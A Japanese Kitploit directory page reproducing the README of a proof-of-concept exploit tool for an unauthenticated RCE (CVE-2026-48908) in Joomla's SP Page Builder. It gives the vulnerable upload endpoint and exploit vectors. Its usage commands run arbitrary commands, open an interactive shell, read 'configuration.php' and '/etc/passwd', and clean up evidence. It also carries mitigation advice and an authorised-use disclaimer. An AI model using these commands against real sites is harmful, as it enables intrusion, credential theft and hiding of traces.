Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-48908-SP-Page-Builder-Joomla — CVE-2026-48908 - SP Page Builder Joomla 未認証RCE | Kitploit
ツール/GitHubGitHub/gagaltotal/cve-2026-48908-sp-page-builder-joomla
脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubgagaltotal/cve-2026-48908-sp-page-builder-joomla

CVE-2026-48908-SP-Page-Builder-Joomla

CVE-2026-48908 - SP Page Builder Joomla 未認証RCE

リポジトリを見る
1ヶ月前未レビュー

CVE-2026-48908: SP Page Builder Joomla 未認証RCE

CVE-2026-48908 の概念実証(PoC)エクスプロイトです。これは、Joomla の SP Page Builder コンポーネントにおける未認証のリモートコード実行(RCE)の脆弱性です。

脆弱性の概要

CVE-2026-48908 は、SP Page Builder コンポーネントにおける ZIP ファイル展開処理の不備により、未認証の攻撃者が脆弱な Joomla インストール環境上で任意のコードを実行できるようにする重大なセキュリティ脆弱性です。

技術詳細

  • CVE ID: CVE-2026-48908
  • Component: com_sppagebuilder
  • 影響を受けるバージョン: <= 6.6.1
  • 修正済みバージョン: 6.6.2
  • 攻撃経路: ネットワーク経由・未認証
  • CVSS スコア: Critical(重大)
  • 脆弱性の種類: 任意ファイルアップロード / ZIP 展開による RCE
  • 攻撃エンドポイント: index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon

根本原因

この脆弱性はアセットアップロード機能に存在し、アプリケーションがアイコンアセットを含む ZIP ファイルの検証と展開を適切に行いません。攻撃者は PHP ペイロードを含む悪意のある ZIP ファイルを細工し、Web からアクセス可能なディレクトリに展開させることで、リモートコード実行を可能にします。

要件

  • Go 1.26.4 以降
  • 対象の Joomla インストール環境へのネットワークアクセス
  • 有効なターゲット URL

依存関係

  • golang.org/x/term - 安全なパスワード入力のためのターミナルユーティリティ

インストール

ソースからビルド

root@kitploit:~
git clone https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
cd CVE-2026-48908-SP-Page-Builder-Joomla
go mod init CVE-2026-48908-SP-Page-Builder-Joomla
go mod download
or
go mod tidy
go build -o poc_tot poc_tot.go

ビルド済みバイナリ

コンパイル済みのバイナリはリリースセクションで入手できます。

使用方法

Screen Capture

基本的なコマンド実行

Screen Capture

root@kitploit:~
./poc_tot -target http://target-site.com -cmd "whoami"

対話型シェル

root@kitploit:~
./poc_tot -target http://target-site.com -shell

脆弱性診断

root@kitploit:~
./poc_tot -target http://target-site.com -check

クリーンアップ

root@kitploit:~
./poc_tot -target http://target-site.com -cleanup

カスタムトークンの使用(利用可能な場合)

root@kitploit:~
./poc_tot -target http://target-site.com -cmd "id" -token "your_joomla_token"

コマンドラインオプション

root@kitploit:~
-target string
    Target URL of vulnerable Joomla installation (required)
    Example: http://target.com or https://target.com

-cmd string
    System command to execute on target
    Example: "cat /etc/passwd"

-shell
    Launch interactive shell on target (requires successful exploitation)

-check
    Check if target is vulnerable without attempting exploitation

-cleanup
    Remove uploaded shell and artifacts from target

-token string
    CSRF token for exploitation (optional, auto-detected if not provided)

エクスプロイト手法

このツールは複数のエクスプロイトベクトルをサポートしています:

  1. Direct PHP Upload(PHP ファイルの直接アップロード) - PHP ファイルを実行可能なパスに直接アップロードします
  2. Directory Traversal(ディレクトリトラバーサル) - パストラバーサルを使用して制限を回避します
  3. Archive Manipulation(アーカイブ操作) - ペイロードを埋め込んだ悪意のある ZIP アーカイブを作成します
  4. Extension Spoofing(拡張子の偽装) - 二重拡張子や大文字小文字のバリエーションを使用します

使用例

偵察

root@kitploit:~
./poc_tot -target http://vulnerable.local -check

単一コマンドの実行

root@kitploit:~
./poc_tot -target http://vulnerable.local -cmd "ls -la /var/www/html"

機密ファイルの取得

root@kitploit:~
./poc_tot -target http://vulnerable.local -cmd "cat configuration.php"

対話型アクセス

root@kitploit:~
./poc_tot -target http://vulnerable.local -shell
# In shell:
> id
> whoami
> pwd

証拠のクリーンアップ

root@kitploit:~
./poc_tot -target http://vulnerable.local -cleanup

セキュリティ上の考慮事項

管理者向け

SP Page Builder コンポーネントを導入した Joomla を運用している場合:

  1. すぐにアップデート: SP Page Builder 6.6.2 以降にアップグレードしてください
  2. コンポーネントの無効化: 直ちにアップデートできない場合は、com_sppagebuilder を無効化してください
  3. ログの監視: Web サーバーログで不審なアクティビティを確認してください
  4. 権限の制限: Web ディレクトリのファイル権限が適切に設定されていることを確認してください
  5. Web アプリケーションファイアウォール: エクスプロイトの試行をブロックする WAF ルールを展開してください

セキュリティ研究者向け

  • 所有しているシステム、または明示的なテスト許可を得たシステムでのみこのツールを使用してください
  • まず隔離された環境でテストしてください
  • すべての調査結果を適切に文書化してください
  • 責任ある開示(responsible disclosure)の慣行に従ってください
  • 不正アクセスに使用しないでください

免責事項

本ソフトウェアは、教育目的および許可を得たセキュリティテストのみを目的として提供されます。コンピュータシステムへの不正アクセスは違法です。作者は、本ツールの誤用または本ツールによって引き起こされた損害について責任を負いません。ユーザーは、任意のターゲットシステムで本ツールを使用する前に、適切な許可を得ていることを確認する責任があります。

本ツールを使用することにより、以下を了解したものとみなされます:

  • 所有しているシステム、または書面によるテスト許可を得たシステムでのみ使用すること
  • 法的な影響を理解し、すべての責任を負うこと
  • 作者は、いかなる損害や法的結果についても責任を負わないこと
  • 適用されるすべての法律および規制を遵守すること

法的通知

本ツールは、防衛的なセキュリティ研究および許可を得たペネトレーションテストのみを目的としています。コンピュータシステムへの不正アクセスは、Computer Fraud and Abuse Act(CFAA)および他の法域における類似の法律に違反します。セキュリティテストを実施する前に、必ず書面による適切な許可を取得してください。

参考情報

  • Joomla 公式セキュリティセンター: https://docs.joomla.org/Security_Checklist
  • SP Page Builder: https://www.sp-components.com/
  • CVE-2026-48908 の詳細: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48908

対策

緊急対応

  1. バージョン 6.6.2 以降にセキュリティアップデートを適用する
  2. アップデートが利用できない場合は、コンポーネントを無効化する: index.php?option=com_installer&view=manage
  3. エラーログでエクスプロイトの試行を確認する
  4. メディアディレクトリ内の不審な PHP ファイルをファイルシステム上で確認する

長期的なセキュリティ対策

  1. Joomla とすべてのコンポーネントを最新の状態に保つ
  2. 自動化されたセキュリティスキャンを導入する
  3. セキュリティヘッダーと WAF ルールを使用する
  4. ファイルの整合性を監視する
  5. 定期的なバックアップを維持する
  6. 最小権限の原則を実装する

貢献

セキュリティ研究への貢献を歓迎します。以下の点にご協力ください:

  1. 脆弱性を責任を持って報告する
  2. 既存のコードスタイルに従う
  3. 詳細なドキュメントを含める
  4. 提出前に徹底的にテストする

作者

GhostGTR666 (Gagaltotal666)

  • GitHub: https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
  • Email: GitHub から連絡

変更履歴

バージョン 1.0.0

  • 初回リリース
  • 複数のエクスプロイトベクトルに対応
  • 対話型シェル機能
  • 脆弱性チェックおよびクリーンアップ操作

サポート

問題、質問、または貢献については:

  1. 既存の GitHub イシューを確認する
  2. エラーメッセージとログを確認する
  3. ターゲット URL が正しく、アクセス可能であることを確認する
  4. テスト前に適切な許可を確認する

ライセンス

本プロジェクトは、セキュリティ研究目的のために現状有姿(as-is)で提供されます。使用前に、セキュリティツールおよびペネトレーションテストに関する現地の法律を確認してください。


最終更新日: 2026-06-24

免責事項: 本ツールは許可を得たセキュリティテストのみを目的としています。コンピュータシステムへの不正アクセスは違法です。

ツールをダウンロード